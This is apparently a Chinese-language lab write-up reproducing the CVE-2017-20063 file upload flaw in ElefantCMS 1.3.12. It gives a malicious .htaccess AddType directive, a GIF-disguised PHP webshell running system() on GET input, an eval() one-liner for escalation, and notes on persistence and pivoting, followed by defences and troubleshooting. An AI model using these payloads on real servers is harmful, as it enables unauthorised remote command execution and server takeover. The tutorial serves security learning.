CVE-2017-20063漏洞复现:从.htaccess文件上传到Webshell获取 📅 2026/6/19 0:33:37 1. 项目概述与核心价值今天我们来聊聊一个在渗透测试和Web安全学习圈子里经久不衰的经典案例CVE-2017-20063也就是ElefantCMS 1.3.12版本的文件上传漏洞。这个漏洞之所以经典是因为它完美地串联了从“一个看似不起眼的功能点”到“完全控制服务器”的完整攻击链非常适合用来理解Web应用安全中“小漏洞大危害”的逻辑。ElefantCMS本身是一个轻量级的PHP内容管理系统目标用户是那些希望快速搭建网站的非技术用户这也意味着它的安全设计在当时可能没有经过顶级安全团队的严格审计。这个漏洞的核心简单来说就是攻击者能够利用CMS后台一个管理.htaccess文件的功能绕过常规的文件类型检查上传一个包含恶意PHP代码的.htaccess文件进而再上传一个图片马将PHP代码隐藏在图片文件中最终通过.htaccess文件的规则重写将图片文件当作PHP脚本来执行从而在服务器上获得一个Webshell。整个过程涉及到文件上传绕过、.htaccess文件解析特性利用、以及Webshell的构造与连接是一套非常标准的“文件上传到getshell”的实战流程。对于刚入门安全研究的朋友复现这个漏洞不仅能帮你巩固对文件上传漏洞各种绕过手法的理解更能让你深刻体会到配置不当与逻辑缺陷结合所产生的巨大风险。而对于有一定经验的从业者这个案例也是检验自己搭建靶场、代码审计和漏洞利用链构建能力的绝佳材料。2. 漏洞原理深度剖析2.1 ElefantCMS与.htaccess编辑功能背景ElefantCMS在1.3.12版本中为了提供用户友好的网站配置界面在后台集成了一个在线编辑.htaccess文件的功能。.htaccess是Apache服务器特有的分布式配置文件它可以放在网站目录下对该目录及其子目录的访问规则进行细粒度控制比如URL重写、访问权限控制、MIME类型定义等。这个功能的初衷是好的让管理员无需通过FTP或SSH去服务器上修改这个文件直接在Web后台就能完成一些常见的服务器配置。然而问题就出在对这个功能的实现上。通常一个安全的文件上传或编辑功能至少应该做以下几件事验证用户身份确保是管理员、校验文件内容防止写入恶意代码、限制文件路径防止路径穿越。但ElefantCMS这里的.htaccess编辑器在文件内容校验上存在致命缺陷。它可能只做了简单的语法高亮或格式检查但没有对文件内容进行严格的安全过滤特别是没有阻止用户写入能够执行PHP代码的AddType或SetHandler指令。2.2 CVE-2017-20063漏洞链拆解这个漏洞的利用链可以分为三个关键环节环环相扣第一环恶意的.htaccess文件上传。攻击者在获得后台权限或通过其他方式如弱口令、会话劫持进入后台后访问.htaccess编辑器。他并非简单地修改几个重写规则而是写入一段特殊的Apache配置指令。这段指令的核心目的是“欺骗”Apache服务器让其将特定类型的文件比如.jpg或.png当作PHP脚本来解析和执行。常用的指令是AddType application/x-httpd-php .jpg。这行配置的意思是告诉Apache服务器所有扩展名为.jpg的文件都应该使用PHP解析器application/x-httpd-php来处理。这样一来一个看似普通的图片文件只要里面包含了PHP代码在被访问时就会被服务器执行。第二环图片Webshell的上传。上传了恶意的.htaccess文件后攻击者接下来需要上传一个真正的“载体”。由于CMS通常都有图片上传功能如文章配图、用户头像而且会对图片进行一些基础的校验如检查文件头、MIME类型。攻击者会制作一个“图片马”也就是一个内容既包含合法图片文件头如GIF89a或PNG文件头又包含PHP代码的文件。很多文件上传校验只检查文件开头的一些魔数Magic Bytes来判断文件类型这种图片马很容易绕过这类检查。攻击者通过正常的图片上传功能将这个图片马传到服务器上假设保存为shell.jpg。第三环漏洞触发与Shell获取。当恶意.htaccess和shell.jpg都成功部署到Web可访问目录通常是/uploads/或类似目录后漏洞利用的条件就成熟了。此时攻击者直接通过浏览器访问http://target-site/uploads/shell.jpg。Apache服务器在处理这个请求时会先读取该目录下的.htaccess文件发现其中有一条规则将.jpg文件当作PHP处理。于是Apache不再将shell.jpg作为静态图片文件输出而是将其交给PHP解析器。PHP解析器会执行文件中?php ... ?标签内的代码。如果这段代码是一个Webshell例如接收参数执行系统命令那么攻击者就相当于在服务器上打开了一个远程命令执行的后门实现了“getshell”。注意这个漏洞成功的前提是目标服务器是Apache并且允许.htaccess文件覆盖服务器配置通常AllowOverride指令设置为All或包含FileInfo。在Nginx服务器上.htaccess文件是不起作用的因此这个漏洞在Nginx环境下无法直接利用。这是漏洞利用中非常重要的环境依赖条件。2.3 与常见文件上传漏洞的对比很多初学者可能会混淆认为文件上传漏洞就是直接上传一个.php文件。实际上现代Web应用几乎都会在后端对文件扩展名、MIME类型甚至文件内容进行严格检查直接上传.php文件很难成功。CVE-2017-20063给我们展示了另一种更隐蔽、更高级的思路不直接对抗上传校验而是去改变服务器的解析规则。它利用的是一个“配置修改”的合法功能去为后续的恶意文件执行铺平道路。这种“组合拳”式的漏洞利用比单纯的文件上传绕过要复杂但也更难以被传统的WAFWeb应用防火墙或安全扫描器检测到因为两个步骤分开看可能都是合法的操作。3. 靶场环境搭建与配置要复现这个漏洞我们首先需要一个包含漏洞的ElefantCMS环境。强烈建议在虚拟机或隔离的Docker环境中进行切勿在公网或生产环境中操作。3.1 获取漏洞版本源码ElefantCMS是开源项目其历史版本可以在GitHub或一些开源镜像站找到。我们需要 specifically 寻找 1.3.12 版本。你可以通过搜索引擎查找“ElefantCMS 1.3.12 download”通常能找到ZIP压缩包。下载后解压你会得到一个包含所有CMS文件的目录。3.2 搭建本地测试环境最方便的方法是使用集成的Web开发环境如XAMPP、WAMPWindows或MAMPMac。这里以XAMPP为例安装XAMPP从Apache Friends官网下载并安装XAMPP。安装过程中建议将其安装到没有空格和中文的路径下例如C:\xampp。部署源码将解压后的ElefantCMS所有文件复制到XAMPP的网站根目录下。对于XAMPP这个目录通常是C:\xampp\htdocs\。你可以选择直接放在htdocs下或者新建一个子文件夹比如C:\xampp\htdocs\elefant。为了后续访问方便我们假设放在elefant子目录。配置Apache确保XAMPP控制面板中的Apache服务已经启动。默认情况下Apache的AllowOverride设置通常是允许的这对于漏洞利用至关重要。你可以检查C:\xampp\apache\conf\httpd.conf文件找到对应Directory “C:/xampp/htdocs”的部分查看AllowOverride一项是否设置为All。XAMPP默认通常是All这正好满足了我们的漏洞条件。创建数据库打开浏览器访问http://localhost/phpmyadmin。新建一个数据库命名为elefant_cms排序规则选择utf8mb4_general_ci。安装ElefantCMS在浏览器中访问http://localhost/elefant如果你放在子目录。如果直接放在htdocs下则访问http://localhost。此时应该会跳转到ElefantCMS的安装向导页面。按照向导步骤在数据库配置环节填写数据库类型MySQLi主机名localhost用户名root (XAMPP默认数据库用户名)密码(留空XAMPP默认root密码为空)数据库名elefant_cms (刚才创建的)继续设置管理员账号、密码和站点信息。记住你设置的管理员账号密码这是后续登录后台所必需的。完成安装安装程序会自动创建所需的数据表并写入配置。安装成功后删除或重命名安装目录通常是/install文件夹这是一个重要的安全步骤。至此一个存在漏洞的ElefantCMS 1.3.12 环境就搭建完成了。你可以用设置的管理员账号登录后台通常后台地址是http://localhost/elefant/admin。实操心得在虚拟机中搭建环境是最佳实践。使用VirtualBox或VMware创建一个干净的Windows或Linux虚拟机再在里面安装XAMPP和漏洞应用。这样即使操作失误导致系统异常也可以快速恢复到快照不会影响宿主机。另外务必记下后台地址、管理员账号密码最好用文本文件保存在桌面。4. 漏洞复现详细步骤现在我们开始核心的漏洞复现操作。请确保你已经以管理员身份登录到ElefantCMS的后台。4.1 定位并利用.htaccess编辑器寻找入口登录后台后我们需要找到编辑.htaccess文件的功能。在ElefantCMS 1.3.12的后台这个功能通常位于“工具”(Tools)或“设置”(Settings)菜单下可能叫做“文件编辑器”、“配置文件”或直接名为“.htaccess编辑器”。由于不同版本的UI可能有细微差别如果找不到可以尝试在后台页面搜索“htaccess”关键词或者查看左侧导航栏的每一个选项。编辑.htaccess文件找到编辑器后它会显示当前网站根目录下.htaccess文件的内容。初始内容可能包含一些基本的URL重写规则RewriteRule。在修改之前强烈建议你先将原始内容复制保存到一个文本文件中作为备份。注入恶意配置在文件内容的末尾新起一行添加以下指令# 以下为恶意配置仅供安全测试学习 AddType application/x-httpd-php .jpg .png .gif这行配置是漏洞利用的关键。它告诉Apache服务器将.jpg、.png、.gif这三种扩展名的文件都当作PHP程序来解析。你可以只添加.jpg但多添加几种可以增加利用的成功率。保存文件点击编辑器页面的“保存”(Save)或“更新”(Update)按钮。如果功能正常页面会提示保存成功。此时服务器网站根目录下的.htaccess文件已经被我们修改了。注意事项添加的配置指令一定要放在文件的最后并确保语法正确。AddType指令后面跟的是MIME类型和扩展名。application/x-httpd-php是PHP文件的标准MIME类型。保存后你可以通过访问http://localhost/elefant/.htaccess来验证文件是否已改变注意有些服务器配置会禁止直接访问.htaccess文件可能返回403错误但这不影响它被Apache读取。4.2 制作并上传图片Webshell接下来我们需要上传一个包含PHP代码的图片文件。我们将制作一个GIF图片马。制作图片马打开一个文本编辑器如Notepad或VS Code。首先输入GIF图片的文件头GIF89a;。这是一个有效的GIF文件标识。然后在新的一行写入我们的PHP Webshell代码。这里使用一个非常简单的、带密码验证的Webshell以提高一点安全性避免被他人偶然访问执行?php if(isset($_GET[‘cmd‘]) $_GET[‘pass‘] ‘your_password‘) { system($_GET[‘cmd‘]); } else { echo ‘GIF Image‘; // 伪装成图片输出 } ?将整个内容保存为一个文件命名为shell.gif。注意扩展名是.gif。文件内容大致如下GIF89a; ?php if(isset($_GET[‘cmd‘]) $_GET[‘pass‘] ‘your_password‘) { system($_GET[‘cmd‘]); } else { echo ‘GIF Image‘; } ?这个文件既有合法的GIF文件头能绕过简单的文件类型检查又包含了PHP代码。当被当作PHP解析时GIF89a;会被当作无关文本直接输出或忽略而?php ... ?之间的代码会被执行。寻找上传点在ElefantCMS后台寻找文件或图片上传功能。这通常出现在“媒体库”(Media)、“文件管理器”(File Manager)、“上传”(Upload)或者创建文章/页面时插入图片的按钮里。找到一个可以上传图片的地方。上传图片马选择我们刚制作的shell.gif文件进行上传。系统可能会显示上传成功并返回一个文件的访问链接或者将文件保存在/files/、/uploads/这样的目录下。务必记录下这个文件的最终访问URL例如可能是http://localhost/elefant/files/2025/04/shell.gif。记下这个路径我们稍后需要访问它。4.3 验证漏洞与执行命令现在最激动人心的时刻到了验证漏洞是否成功利用。构造访问请求打开一个新的浏览器标签页或者使用更专业的工具如Burp Suite、HackBrowser甚至命令行工具curl。我们需要访问刚才上传的图片马并以GET参数的形式传递命令和密码。访问URL格式http://localhost/elefant/files/2025/04/shell.gif?passyour_passwordcmdwhoami将your_password替换成你制作Webshell时设置的密码。将whoami替换成你想在目标服务器上执行的系统命令。whoami是一个简单的命令用于查看当前Web服务运行的用户身份是测试是否成功的经典命令。分析响应如果漏洞利用成功服务器不会返回一个图片而是会执行whoami命令并在网页上输出命令执行的结果。例如在XAMPP默认环境下可能会输出daemon、www-data或nt authority\system取决于Windows配置等。这意味着你的PHP代码已经被执行并且拥有了执行系统命令的权限。如果失败浏览器可能会直接下载这个.gif文件或者显示一个破碎的图片图标或者返回一个空白页。这说明服务器仍然将文件当作静态图片处理我们的恶意.htaccess规则可能没有生效。尝试更多命令成功执行whoami后你可以尝试其他命令来验证权限例如cmdls -la(Linux) 或cmddir(Windows)列出当前目录的文件。cmdpwd查看当前工作目录的绝对路径。cmdid(Linux)查看当前用户的详细信息。重要警告请仅在你自己搭建的本地测试环境中进行这些操作。切勿对任何未经授权的系统进行测试这是非法的。我们复现漏洞的目的是为了学习防御技术理解攻击原理从而更好地保护自己的系统。5. 漏洞利用的深入与防御思考5.1 利用链的扩展与变种成功执行系统命令只是第一步。在真实的渗透测试中攻击者会追求更稳定、功能更强大的控制。升级Webshell简单的单行命令执行Webshell功能有限。攻击者通常会利用这个入口上传一个功能完整的Webshell例如中国菜刀Chopper、蚁剑AntSword或冰蝎Behinder的客户端脚本。这些Webshell提供了图形化界面可以方便地进行文件管理、数据库操作、虚拟终端等。上传方式可以是先用我们的漏洞执行echo或wget命令将更强大的Webshell脚本代码写入服务器的一个新PHP文件中。例如cmdecho ‘?php eval($_POST[“ant”]);?‘ /var/www/html/elefant/shell.php权限提升与持久化如果Web服务运行的用户权限较高如root或Administrator攻击者可能直接控制服务器。如果权限较低则需要尝试提权。此外攻击者还会通过各种方式如写入定时任务crontab、修改启动项、创建后门用户实现持久化访问即使漏洞被修复.htaccess文件被删除他仍然能控制服务器。内网渗透获得一个Webshell相当于在内网中打下了一个据点。攻击者可以以此为跳板扫描和攻击同一内网中的其他服务器和设备扩大战果。5.2 从攻击者视角看防御理解了完整的攻击链我们就可以从每一个环节思考如何防御.htaccess编辑器功能最佳实践禁用或严格限制。对于大多数用户而言根本不需要在线编辑.htaccess。应直接禁用此功能。如果必须提供则应实现严格的内容安全策略CSP对用户输入进行强过滤禁止出现AddType、SetHandler、php_value等能够改变解析行为的危险指令。可以采用白名单机制只允许用户修改有限的、预设安全的选项。权限控制确保该功能只有最高权限的管理员才能访问并记录所有修改日志。文件上传功能白名单校验不仅校验文件扩展名更要校验文件的MIME类型并且两者都要采用白名单机制只允许image/jpeg,image/png,image/gif等。文件内容校验使用GD库或ImageMagick等工具对上传的图片进行重渲染Re-rendering。即读取图片文件将其重新生成一张新的图片并保存。这个过程会剥离所有非图片数据的附加内容从根本上杜绝图片中隐藏恶意代码的可能。重命名与隔离对上传的文件进行随机化重命名如使用UUID并避免使用用户控制的原始文件名。将上传目录设置为不可执行脚本在Apache配置中使用php_flag engine off或RemoveHandler .php等指令。文件服务器分离将用户上传的文件存储到单独的域名或子域名下该域名只提供静态文件服务不配置PHP解析能力。这被称为“无执行权限的文件存储”。服务器配置限制.htaccess的覆盖能力在Apache主配置httpd.conf或虚拟主机配置中将AllowOverride设置为None或仅允许AuthConfig、Indexes等安全的指令类别禁止覆盖FileInfo它控制MIME类型和Options它控制执行权限类别。这是最根本的防御措施之一。定期更新与安全审计及时更新CMS到最新版本。对自定义开发的功能进行代码安全审计特别是所有涉及文件操作、命令执行、用户输入处理的地方。6. 复现过程中的常见问题与排查在复现过程中你可能会遇到一些问题。这里列出一些常见情况及其解决方法问题现象可能原因排查与解决步骤访问.htaccess文件返回403 ForbiddenApache配置禁止直接访问这是正常的安全设置不影响Apache在处理请求时读取它。无需解决继续下一步。上传.htaccess后访问图片马仍下载或显示图片不执行命令1..htaccess未生效2. 指令语法错误3. Apache未加载相关模块4. 文件路径不对1.检查Apache配置确认httpd.conf中对应目录的AllowOverride包含FileInfo或All。2.检查指令确保.htaccess文件中的AddType指令拼写正确且放在文件末尾新行。3.重启Apache修改配置或.htaccess后重启Apache服务使配置生效。4.检查文件位置确保.htaccess和图片马在同一个Web可访问目录下。Apache的.htaccess规则对其所在目录及其子目录生效。上传图片时被拦截提示“文件类型不允许”CMS自带的上传过滤尝试其他扩展名如.phtml,.php5,.phar或在制作图片马时更精确地伪造文件头。也可以尝试寻找其他可能更宽松的上传点如头像上传、附件上传等。执行命令后页面空白或报错1. Webshell代码语法错误2.system()函数被禁用3. 命令执行环境问题1.检查PHP代码确保?php ... ?标签闭合字符串引号匹配。2.尝试其他函数如果system()被禁用尝试shell_exec()、exec()、passthru()或反引号command。3.简化测试先上传一个只包含?php phpinfo(); ?的图片马看是否能成功显示PHP信息页以确认解析是否成功。使用curl或Burp Suite测试时无回显命令执行了但没有输出到HTTP响应尝试使用能直接回显的命令如whoami。或者修改Webshell代码使用echo shell_exec(‘cmd‘);确保输出被捕获并打印。在浏览器中测试通常更直观。排查心得漏洞复现就像侦探破案需要耐心和逻辑。当遇到问题时最好的方法是“分段测试”。首先单独测试.htaccess是否生效可以创建一个包含?php echo “test”; ?的test.jpg文件然后访问它。如果输出“test”说明解析规则生效。如果不生效就集中精力排查Apache配置和.htaccess语法。如果解析生效但你的Webshell不工作那就专注于Webshell代码本身和命令执行环境。使用phpinfo()页面是获取服务器配置信息的终极法宝它能告诉你哪些函数被禁用open_basedir限制等关键信息。复现CVE-2017-20063的整个过程是一次对Web安全攻防的微型全景体验。它从一个小小的后台功能切入揭示了配置安全、输入验证、服务器解析逻辑等多个层面的问题。对于防御者而言这个案例警示我们任何用户可控的配置点都是潜在的风险点安全防御需要层层设防不能依赖单一检查对于开源项目及时更新版本至关重要。而对于学习者来说亲手走通这条利用链远比读十篇分析文章来得深刻。